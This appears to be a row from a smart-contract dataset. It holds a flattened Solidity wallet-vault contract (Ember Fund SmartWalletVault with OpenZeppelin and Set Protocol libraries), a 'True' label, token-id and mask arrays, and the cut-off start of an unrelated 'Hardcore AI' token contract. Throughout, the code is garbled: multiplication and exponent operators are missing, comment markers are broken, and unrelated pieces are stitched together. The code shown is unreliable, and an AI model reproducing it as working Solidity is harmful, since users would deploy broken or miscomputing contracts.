allow mutex lock with only one SSTORE operation uint256 private _guardCounter; function initialize() public initializer { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } uint256[50] private ______gap; } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: set-protocol-contract-utils/contracts/lib/CommonMath.sol / Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / pragma solidity 0.5.7; library CommonMath { using SafeMath for uint256; uint256 public constant SCALE_FACTOR = 10 * 18; uint256 public constant MAX_UINT_256 = 2 256 - 1; / * Returns scale factor equal to 10 ** 18 * * @return 10 ** 18 / function scaleFactor() internal pure returns (uint256) { return SCALE_FACTOR; } /* * Calculates and returns the maximum value for a uint256 * * @return The maximum value for uint256 / function maxUInt256() internal pure returns (uint256) { return MAX_UINT_256; } /* * Increases a value by the scale factor to allow for additional precision * during mathematical operations / function scale( uint256 a ) internal pure returns (uint256) { return a.mul(SCALE_FACTOR); } /* * Divides a value by the scale factor to allow for additional precision * during mathematical operations / function deScale( uint256 a ) internal pure returns (uint256) { return a.div(SCALE_FACTOR); } /* * @dev Performs the power on a specified value, reverts on overflow. / function safePower( uint256 a, uint256 pow ) internal pure returns (uint256) { require(a > 0); uint256 result = 1; for (uint256 i = 0; i < pow; i++){ uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } /* * @dev Performs division where if there is a modulo, the value is rounded up / function divCeil(uint256 a, uint256 b) internal pure returns(uint256) { return a.mod(b) > 0 ? a.div(b).add(1) : a.div(b); } /* * Checks for rounding errors and returns value of potential partial amounts of a principal * * @param _principal Number fractional amount is derived from * @param _numerator Numerator of fraction * @param _denominator Denominator of fraction * @return uint256 Fractional amount of principal calculated / function getPartialAmount( uint256 _principal, uint256 _numerator, uint256 _denominator ) internal pure returns (uint256) { // Get remainder of partial amount (if 0 not a partial amount) uint256 remainder = mulmod(_principal, _numerator, _denominator); // Return if not a partial amount if (remainder == 0) { return _principal.mul(_numerator).div(_denominator); } // Calculate error percentage uint256 errPercentageTimes1000000 = remainder.mul(1000000).div(_numerator.mul(_principal)); // Require error percentage is less than 0.1%. require( errPercentageTimes1000000 < 1000, "CommonMath.getPartialAmount: Rounding error exceeds bounds" ); return _principal.mul(_numerator).div(_denominator); } / * Gets the rounded up log10 of passed value * * @param _value Value to calculate ceil(log()) on * @return uint256 Output value / function ceilLog10( uint256 _value ) internal pure returns (uint256) { // Make sure passed value is greater than 0 require ( _value > 0, "CommonMath.ceilLog10: Value must be greater than zero." ); // Since log10(1) = 0, if _value = 1 return 0 if (_value == 1) return 0; // Calcualte ceil(log10()) uint256 x = _value - 1; uint256 result = 0; if (x >= 10 * 64) { x /= 10 64; result += 64; } if (x >= 10 32) { x /= 10 32; result += 32; } if (x >= 10 16) { x /= 10 16; result += 16; } if (x >= 10 8) { x /= 10 8; result += 8; } if (x >= 10 4) { x /= 10 ** 4; result += 4; } if (x >= 100) { x /= 100; result += 2; } if (x >= 10) { result += 1; } return result + 1; } } // File: set-protocol-contracts/contracts/lib/IERC20.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / pragma solidity 0.5.7; /* * @title IERC20 * @author Set Protocol * * Interface for using ERC20 Tokens. This interface is needed to interact with tokens that are not * fully ERC20 compliant and return something other than true on successful transfers. / interface IERC20 { function balanceOf( address _owner ) external view returns (uint256); function allowance( address _owner, address _spender ) external view returns (uint256); function transfer( address _to, uint256 _quantity ) external; function transferFrom( address _from, address _to, uint256 _quantity ) external; function approve( address _spender, uint256 _quantity ) external returns (bool); function totalSupply() external returns (uint256); } // File: set-protocol-contracts/contracts/lib/ERC20Wrapper.sol / Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / pragma solidity 0.5.7; /* * @title ERC20Wrapper * @author Set Protocol * * This library contains functions for interacting wtih ERC20 tokens, even those not fully compliant. * For all functions we will only accept tokens that return a null or true value, any other values will * cause the operation to revert. / library ERC20Wrapper { // ============ Internal Functions ============ /* * Check balance owner's balance of ERC20 token * * @param _token The address of the ERC20 token * @param _owner The owner who's balance is being checked * @return uint256 The _owner's amount of tokens / function balanceOf( address _token, address _owner ) external view returns (uint256) { return IERC20(_token).balanceOf(_owner); } /* * Checks spender's allowance to use token's on owner's behalf. * * @param _token The address of the ERC20 token * @param _owner The token owner address * @param _spender The address the allowance is being checked on * @return uint256 The spender's allowance on behalf of owner / function allowance( address _token, address _owner, address _spender ) internal view returns (uint256) { return IERC20(_token).allowance(_owner, _spender); } /* * Transfers tokens from an address. Handle's tokens that return true or null. * If other value returned, reverts. * * @param _token The address of the ERC20 token * @param _to The address to transfer to * @param _quantity The amount of tokens to transfer / function transfer( address _token, address _to, uint256 _quantity ) external { IERC20(_token).transfer(_to, _quantity); // Check that transfer returns true or null require( checkSuccess(), "ERC20Wrapper.transfer: Bad return value" ); } /* * Transfers tokens from an address (that has set allowance on the proxy). * Handle's tokens that return true or null. If other value returned, reverts. * * @param _token The address of the ERC20 token * @param _from The address to transfer from * @param _to The address to transfer to * @param _quantity The number of tokens to transfer / function transferFrom( address _token, address _from, address _to, uint256 _quantity ) external { IERC20(_token).transferFrom(_from, _to, _quantity); // Check that transferFrom returns true or null require( checkSuccess(), "ERC20Wrapper.transferFrom: Bad return value" ); } /* * Grants spender ability to spend on owner's behalf. * Handle's tokens that return true or null. If other value returned, reverts. * * @param _token The address of the ERC20 token * @param _spender The address to approve for transfer * @param _quantity The amount of tokens to approve spender for / function approve( address _token, address _spender, uint256 _quantity ) internal { IERC20(_token).approve(_spender, _quantity); // Check that approve returns true or null require( checkSuccess(), "ERC20Wrapper.approve: Bad return value" ); } /* * Ensure's the owner has granted enough allowance for system to * transfer tokens. * * @param _token The address of the ERC20 token * @param _owner The address of the token owner * @param _spender The address to grant/check allowance for * @param _quantity The amount to see if allowed for / function ensureAllowance( address _token, address _owner, address _spender, uint256 _quantity ) internal { uint256 currentAllowance = allowance(_token, _owner, _spender); if (currentAllowance < _quantity) { approve( _token, _spender, CommonMath.maxUInt256() ); } } // ============ Private Functions ============ /* * Checks the return value of the previous function up to 32 bytes. Returns true if the previous * function returned 0 bytes or 1. / function checkSuccess( ) private pure returns (bool) { // default to failure uint256 returnValue = 0; assembly { // check number of bytes returned from last function call switch returndatasize // no bytes returned: assume success case 0x0 { returnValue := 1 } // 32 bytes returned case 0x20 { // copy 32 bytes into scratch space returndatacopy(0x0, 0x0, 0x20) // load those bytes into returnValue returnValue := mload(0x0) } // not sure what was returned: dont mark as success default { } } // check if returned value is one or nothing return returnValue == 1; } } // File: interfaces/IWETH.sol / Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / pragma solidity 0.5.7; /* * @title IWETH * @author Set Protocol * * Interface for Wrapped Ether. This interface allows for interaction for wrapped ether's deposit and withdrawal * functionality. / interface IWETH { function deposit() external payable; function withdraw( uint256 wad ) external; } // File: interfaces/IVault.sol pragma solidity 0.5.7; /* * @title IVault * @author Ember Fund * * Interface for Vaults. This interface allows for interaction for Vault's deposit and withdrawal * functionality. / interface IVault { function deposit(uint amount) external; function withdraw(uint shares) external; } // File: contracts/utils/ChiGasSaver.sol pragma solidity ^0.5.7; pragma experimental ABIEncoderV2; interface ChiGasSaver { function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function approve(address spender, uint256 amount) external returns (bool); function allowance(address _owner, address _spender) view external returns (uint256 remaining); } // File: contracts/SmartWalletVault.sol / Copyright 2018 Ember Fund Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / pragma solidity ^0.5.0; /* * @title SmartWallet * @author Ember Fund * * Implementation of the Ember Fund smart wallet adding meta transaction capabilities for issuing and redeeming rebalancing sets. * The smart wallet is owned by an EOA that can white list accounts facilitating the management of any ERC20 tokens stored in the smart wallet. / contract SmartWalletVault is Initializable, ReentrancyGuardEmber, WhitelistedRoleMeta { using SafeMath for uint256; // Nonces to prevent replay attacks mapping(uint256 => bool) private nonces; uint16 public constant version = 3; // Gas token saver ChiGasSaver public constant chiGasSaver = ChiGasSaver(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); modifier discountChiGasSaver { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 msg.data.length; uint256 allowance = chiGasSaver.allowance(msg.sender, address(this)); uint256 chiTokensToSpend = (gasSpent + 14154) / 41947; if (allowance < chiTokensToSpend) { chiGasSaver.approve(address(this), chiTokensToSpend); } chiGasSaver.freeFromUpTo(msg.sender, chiTokensToSpend); } mapping(address => address) public depositTokenAddressToYVault; mapping(address => address) public yVaultToDepositTokenAddress; /** * Initialize the smart contract with an owner. / function initialize(address _owner) public initializer { WhitelistedRoleMeta.initialize(_owner); ReentrancyGuardEmber.initialize(); // Add more deposit to vault mapping to support more vaults // USDT 0xdAC17F958D2ee523a2206206994597C13D831ec7 // yEarn USDT 0x2f08119C6f07c006695E079AAFc638b8789FAf18 depositTokenAddressToYVault[0xdAC17F958D2ee523a2206206994597C13D831ec7] = 0x2f08119C6f07c006695E079AAFc638b8789FAf18; yVaultToDepositTokenAddress[0x2f08119C6f07c006695E079AAFc638b8789FAf18] = 0xdAC17F958D2ee523a2206206994597C13D831ec7; } function() external payable { } // Prod addresses // address constant public transfersProxy = 0x882d80D3a191859d64477eb78Cca46599307ec1C; // address payable constant public rebalancingSetExchangeIssuanceModule = 0xde697AC56b1bD9C0987c08911020f2341e274813; // address payable constant public rebalancingSetIssuanceModule = 0xDA6786379FF88729264d31d472FA917f5E561443; // address payable constant public cTokenaddressToAddressWhiteList = 0x5BA020a8835ed40936941562bdF42D66F65fc00f; function getTransfersProxy() public view returns (address) { return 0x882d80D3a191859d64477eb78Cca46599307ec1C; } function getRebalancingSetExchangeIssuanceModule() public view returns (address payable) { return 0xde697AC56b1bD9C0987c08911020f2341e274813; } function getRebalancingSetIssuanceModule() public view returns (address payable) { return 0xDA6786379FF88729264d31d472FA917f5E561443; } function getCTokenaddressToAddressWhiteList() public view returns (address payable) { return 0x5BA020a8835ed40936941562bdF42D66F65fc00f; } function getWrappedEthInstance() public view returns (IWETH) { return IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); } /* * Withdraw all ERC20 tokens from this contract to the caller address. Only callable by the smart contract owner. / function withdrawAllAdmin(address [] calldata _tokenAddresses) external nonReentrant onlyWhitelistAdmin { for (uint i=0; i<_tokenAddresses.length; i++) { uint256 tokenBalance = ERC20Wrapper.balanceOf(_tokenAddresses[i], address(this)); ERC20Wrapper.transfer( _tokenAddresses[i], msg.sender, tokenBalance ); } } /* * Withdraw an ERC20 token to the owner's account. / function withdrawERC20(address _tokenAddress, address _to, uint256 _withdrawalAmount) external nonReentrant onlyWhitelisted { uint256 tokenBalance = ERC20Wrapper.balanceOf(_tokenAddress, address(this)); require(tokenBalance >= _withdrawalAmount, "Withdrawal amount is too high"); require(this.isWhitelistAdmin(_to), "You can only withdraw to an owner address"); ERC20Wrapper.transfer( _tokenAddress, _to, _withdrawalAmount ); } /* * Withdraw ETH to the owner's account. / function withdrawETH(address payable _to, uint256 _withdrawalAmount) external nonReentrant onlyWhitelisted { uint256 ethBalance = address(this).balance; require(ethBalance >= _withdrawalAmount, "Withdrawal amount is too high"); require(this.isWhitelistAdmin(_to), "You can only withdraw to an owner address"); _to.transfer(_withdrawalAmount); } function _checkReplayAttack( uint256 _nonce ) private nonReentrant { require(!nonces[_nonce], "Replay attack detected."); nonces[_nonce] = true; } /* * Get the signer of vault deposit. / function getVaultDepositSigner(address _vaultAddress, address _tokenDepositAddress, uint256 _nonce, bytes memory _signature) private view returns (address) { bytes32 msgHash = OpenZeppelinUpgradesECDSA.toEthSignedMessageHash( keccak256( abi.encodePacked( _vaultAddress, _tokenDepositAddress, _nonce, address(this) ) ) ); return OpenZeppelinUpgradesECDSA.recover(msgHash, _signature); } function vaultDeposit( address _vaultAddress, address _tokenDepositAddress, uint256 _amount, uint256 _nonce, bytes memory _signature ) public nonReentrant discountChiGasSaver { _checkReplayAttack(_nonce); require(depositTokenAddressToYVault[_tokenDepositAddress] == _vaultAddress, "Deposit token and vault not supported"); address signer = getVaultDepositSigner(_vaultAddress, _tokenDepositAddress, _nonce, _signature); require(signer != address(0), "Invalid signature"); require(isWhitelistAdmin(signer), "signer is not an admin"); uint256 tokenDepositBalance = ERC20Wrapper.balanceOf(_tokenDepositAddress, address(this)); require(tokenDepositBalance >= _amount, "Token deposit balance is too low"); // Approve the vault to spend the SMA's owner's deposit token's // Required for certain stable coins (USDT for example) ERC20Wrapper.approve(_tokenDepositAddress, _vaultAddress, 0); ERC20Wrapper.approve(_tokenDepositAddress, _vaultAddress, _amount); // Deposit tokens to the vault IVault(_vaultAddress).deposit(_amount); } /* * Get the signer of a vault withdrawal. */ function getVaultWithdrawalSigner(address _vaultAddress, address payable _to, uint256 _nonce, bytes memory _signature) private view returns (address) { bytes32 msgHash = OpenZeppelinUpgradesECDSA.toEthSignedMessageHash( keccak256( abi.encodePacked( _vaultAddress, _to, _nonce, address(this) ) ) ); return OpenZeppelinUpgradesECDSA.recover(msgHash, _signature); } function vaultWithdraw( address _vaultAddress, uint shares, address payable _to, uint256 _nonce, bytes memory _signature ) public nonReentrant discountChiGasSaver { _checkReplayAttack(_nonce); address depositTokenAddress = yVaultToDepositTokenAddress[_vaultAddress]; require(depositTokenAddress != address(0), "Vault not supported"); address signer = getVaultWithdrawalSigner(_vaultAddress, _to, _nonce, _signature); require(signer != address(0), "Invalid signature"); require(isWhitelistAdmin(signer), "signer is not an admin"); // Get current balance of the deposit token before withdrawal uint256 depositTokenBalanceBeforeWithdrawal = ERC20Wrapper.balanceOf(depositTokenAddress, address(this)); // Withdraw shares of the vault to deposit token IVault(_vaultAddress).withdraw(shares); // Compute how many deposit tokens were withdrawn uint256 depositTokenWithdrawn = ERC20Wrapper.balanceOf(depositTokenAddress, address(this)).sub(depositTokenBalanceBeforeWithdrawal); require(depositTokenWithdrawn > 0, "No token withdrawn"); // Transfer withdrawn tokens to address passed as parameter ERC20Wrapper.transfer( depositTokenAddress, _to, depositTokenWithdrawn ); } }	True	[ 101, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 18739, 1013, 8311, 1013, 3988, 21335, 3468, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2484, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3988, 21335, 3468, 1008, 1008, 1030, 16475, 2393, 2121, 3206, 2000, 2490, 3988, 17629, 4972, 1012, 2000, 2224, 2009, 1010, 5672, 1008, 1996, 9570, 2953, 2007, 1037, 3853, 2008, 2038, 1996, 1036, 3988, 17629, 1036, 16913, 18095, 1012, 1008, 5432, 1024, 4406, 9570, 5668, 1010, 3988, 17629, 4972, 2442, 2022, 21118, 1008, 24959, 1012, 2023, 12033, 2119, 2000, 21296, 2075, 2019, 3988, 21335, 3468, 3206, 1010, 2004, 2092, 1008, 2004, 8402, 2019, 3988, 21335, 3468, 3206, 3081, 12839, 1012, 1008, 5432, 1024, 2043, 2109, 2007, 12839, 1010, 6410, 2729, 2442, 2022, 2579, 2000, 2025, 1999, 6767, 3489, 1008, 1037, 6687, 3988, 17629, 3807, 1010, 2030, 5676, 2008, 2035, 3988, 17629, 2015, 2024, 8909, 6633, 11008, 4765, 1010, 1008, 2138, 2023, 2003, 2025, 9411, 2007, 8073, 2004, 2007, 9570, 5668, 1012, 1008, 1013, 3206, 3988, 21335, 3468, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 7127, 2008, 1996, 3206, 2038, 2042, 3988, 3550, 1012, 1008, 1013, 22017, 2140, 2797, 3988, 3550, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 7127, 2008, 1996, 3206, 2003, 1999, 1996, 2832, 1997, 2108, 3988, 3550, 1012, 1008, 1013, 22017, 2140, 2797, 3988, 6026, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 16913, 18095, 2000, 2224, 1999, 1996, 3988, 17629, 3853, 1997, 1037, 3206, 1012, 1008, 1013, 16913, 18095, 3988, 17629, 1006, 1007, 1063, 5478, 1006, 3988, 6026, 1064, 1064, 2003, 8663, 3367, 6820, 16761, 1006, 1007, 1064, 1064, 999, 3988, 3550, 1010, 1000, 3206, 6013, 2038, 2525, 2042, 3988, 3550, 1000, 1007, 1025, 22017, 2140, 21541, 27469, 15985, 9289, 2140, 1027, 999, 3988, 6026, 1025, 2065, 1006, 21541, 27469, 15985, 9289, 2140, 1007, 1063, 3988, 6026, 1027, 2995, 1025, 3988, 3550, 1027, 2995, 1025, 1065, 1035, 1025, 2065, 1006, 21541, 27469, 15985, 9289, 2140, 1007, 1063, 3988, 6026, 1027, 6270, 1025, 1065, 1065, 1013, 1013, 1013, 1030, 16475, 5651, 2995, 2065, 1998, 2069, 2065, 1996, 3853, 2003, 2770, 1999, 1996, 9570, 2953, 3853, 2003, 8663, 3367, 6820, 16761, 1006, 1007, 2797, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 1013, 1013, 4654, 13535, 19847, 4697, 14148, 1996, 2946, 1997, 1996, 3642, 8250, 1999, 2019, 4769, 1010, 1998, 1013, 1013, 4769, 5651, 1996, 2783, 4769, 1012, 2144, 1996, 3642, 2003, 2145, 2025, 1013, 1013, 7333, 2043, 2770, 1037, 9570, 2953, 1010, 2151, 14148, 2006, 2049, 3642, 2946, 2097, 1013, 1013, 10750, 5717, 1010, 2437, 2009, 2019, 4621, 2126, 2000, 11487, 2065, 1037, 3206, 2003, 1013, 1013, 2104, 2810, 2030, 2025, 1012, 4769, 2969, 1027, 4769, 1006, 2023, 1007, 1025, 21318, 3372, 17788, 2575, 20116, 1025, 3320, 1063, 20116, 1024, 1027, 4654, 13535, 19847, 4697, 1006, 2969, 1007, 1065, 2709, 20116, 1027, 1027, 1014, 1025, 1065, 1013, 1013, 9235, 5527, 2686, 2000, 3499, 2005, 9621, 3431, 1999, 1996, 2925, 1012, 21318, 3372, 17788, 2575, 1031, 2753, 1033, 2797, 1035, 1035, 1035, 1035, 1035, 1035, 6578, 1025, 1065, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-12-06 / /** TG: https://t.me/Hardcore_AI / pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HardcoreAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Hardcore AI"; string private constant _symbol = "HardcoreAI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; 